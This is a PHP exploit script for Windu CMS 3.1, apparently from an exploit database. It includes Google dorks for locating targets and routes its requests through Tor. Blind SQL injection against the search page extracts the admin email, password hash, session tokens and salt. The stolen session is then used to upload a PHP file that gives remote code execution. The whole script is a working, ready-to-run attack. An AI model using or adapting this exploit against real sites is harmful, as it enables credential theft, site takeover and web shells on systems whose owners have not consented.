Windu 3.1 => SQL Inj & RCE

<?php
//Author: Hacker 
//WWW: https://devilteam.pl
//twitter: @devilteam
//
//Windu 3.1 => SQL Inj & RCE
//Date: 18.04.2020
//
//Windu CMS to Darmowy Polski system CMS do zarzdzania treci strony internetowej - content management system.
//http://windu.org/
//
//google dork: intextt:"Na silniku: windu.org"
//google dork: intext:"Works on: windu.org"
//
//
//     START SETTINGS
//
//Exploit use Tor browser proxy
//Target URL
$url = "http://windu3.1";
//
//http://windu/wyszukiwarka/test <- vulnerable search engine
//String returned by cms when search return existed data
$true_search = "test";
//
//String returned by cms when nothing found in search
$false_search_info = "Nie znaleziono adnych pasujcych materiaw";
//
//RCE
$payload = "<?php phpinfo(); ?>";
//
//
//     END SETTINGS
//
//
//-----------------------------
//
//
//     START EXPLOIT FLOW
//
//
$admin = getAdmin($url,$true_search,$false_search_info);
$pass = getPass($url,$true_search,$false_search_info);
if(isset($admin) && isset($pass)) {
$login_session = searchAdminloginsession($url,$true_search,$false_search_info,$admin);
$pass_session = searchAdminpasssession($url,$true_search,$false_search_info,$pass);
if(isset($login_session) && isset($pass_session)){
getRCE($url,$login_session,$pass_session,$payload);
//if RCE not works try break password hash abd manual edit page using: {{eval phpinfo()}}
}
// salt needed for break the password hash
getSalt($url,$true_search,$false_search_info);
}
//
//
//     END EXPLOIT FLOW
//
//

/* Password hash construction

public function saltPassword($password) {
$passwordPieces = array_reverse(str_split($password));
$saltPieces = str_split(config::get('salt',true));

$counter = 0;
        $finalPassword = '';
foreach ($passwordPieces as $piece) {
$finalPassword.=$piece.$saltPieces[$counter];
$counter = $counter+1;
if ($counter>=32)$counter = 0;
}
1
return sha1(sha1(md5(sha1(md5($finalPassword)))));
}
*/


function sendRequest($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9150"); //Tor browser
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}

function getAdmin($url, $true_search, $false_search){
//get admin
$j=1;$admin="";
while (!strstr($admin,chr(0))){
for ($i=0; $i<=255; $i++){

$output = sendRequest($url."wyszukiwarka/".$true_search."')+or+1=(UNICODE(SUBSTR((SELECT+email+FROM+users+WHERE+superAdministrator=1+limit+0,1),".$j.",1))=".$i.")--");

$pos = strpos($output, $false_search);

if ($pos === false) {
    $admin .= chr($i);
    echo "admin -> ".$admin."[???]\r\n";
    break;
}
if ($i==255) {$admin.=chr(0);break;echo "Done\n";}
}

$j++;
}
return $admin;
}

function getPass($url, $true_search, $false_search){
//get pass
$j=1;$pass="";
while (!strstr($pass,chr(0))){

if ($j === 41) {
break;
}

for ($i=0; $i<=255; $i++){

$output = sendRequest($url."wyszukiwarka/".$true_search."')+or+1=(UNICODE(SUBSTR((SELECT+password+FROM+users+WHERE+superAdministrator=1+limit+0,1),".$j.",1))=".$i.")--");

$pos = strpos($output, $false_search);

if ($pos === false) {
    $pass.=chr($i);
    echo "pass -> ".$pass."[???]\r\n";
    break;
}
}

$j++;
}
return $pass;
}

function searchAdminloginsession($url, $true_search, $false_search, $email){

$j=1;
$admin="";
$email = substr($email, 0, -1);
$arr = unpack("C*", $email);
$val="";
foreach ($arr as &$value) {
    $val .= $value.",";
}

$val = substr($val, 0, -1);


while (!strstr($admin, chr(0))){

if ($j === 33) {
break;
}

for ($i=0; $i<=255; $i++){

$output = sendRequest($url."wyszukiwarka/".$true_search."')+or+1=(UNICODE(SUBSTR((SELECT+dataKey+FROM+session+WHERE+data=CHAR(".$val.")),".$j.",1))=".$i.")--");

$pos = strpos($output, $false_search);

if ($pos === false) {
    $admin .= chr($i);
    echo "admin login session -> ".$admin."[???]\r\n";
    break;
}

if ($i==255) {$admin.=chr(0);break;}
}

$j++;
}
return $admin;
}

function searchAdminpasssession($url, $true_search, $false_search, $passhash){

$j=1;$admin="";

$arr = unpack("C*", $passhash);
$val="";
foreach ($arr as &$value) {
    $val .= $value.",";
}

$val = substr($val, 0, -1);

while (!strstr($admin,chr(0))){

if ($j === 33) {
break;
}

for ($i=0; $i<=255; $i++){

$output = sendRequest($url."wyszukiwarka/".$true_search."')+or+1=(UNICODE(SUBSTR((SELECT+dataKey+FROM+session+WHERE+data=CHAR(".$val.")),".$j.",1))=".$i.")--");

$pos = strpos($output, $false_search);

if ($pos === false) {
    $admin .= chr($i);
    echo "admin pass session -> ".$admin."[???]\r\n";
    break;
}
if ($i==255) {$admin.=chr(0);break;}
}

$j++;
}
return $admin;
}

function getSalt($url, $true_search, $false_search){
//get salt
$j=1;$salt="";
while (!strstr($salt,chr(0))){

if ($j === 33) {
break;
}

for ($i=0; $i<=255; $i++){

$output = sendRequest($url."wyszukiwarka/".$true_search."')+or+1=(UNICODE(SUBSTR((SELECT+value+FROM+config+WHERE+name=CHAR(115,97,108,116)),".$j.",1))=".$i.")--");

$pos = strpos($output, $false_search);

if ($pos === false) {
    $salt.=chr($i);
    echo "salt -> ".$salt."[???]\r\n";
    break;
}
if ($i==255) {$salt.=chr(0);break;}
}

$j++;
}
return $salt;
}

function getRCE($url,$login_session,$pass_session,$payload){

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url."fileServerJsUpload/main/");
    curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9150"); //Tor browser
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"-----------------------------32507568294291437482857416325
Content-Disposition: form-data; name=\"files[]\"; filename=\"php.php\"
Content-Type: application/octet-stream

".$payload."
-----------------------------32507568294291437482857416325--"); 
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-Type: multipart/form-data; boundary=---------------------------32507568294291437482857416325','Content-Type: application/octet-stream', 'Cookie: login='.$login_session.'; pass='.$pass_session.';')); 

$result=curl_exec ($ch);
$out = json_decode($result, true);

if(isset($out['files'][0]['url'])){
print "!!!PHP SHELL: \n";
print $out['files'][0]['url'];
die();
}


}

?>

Copyright ©2024 Exploitalert.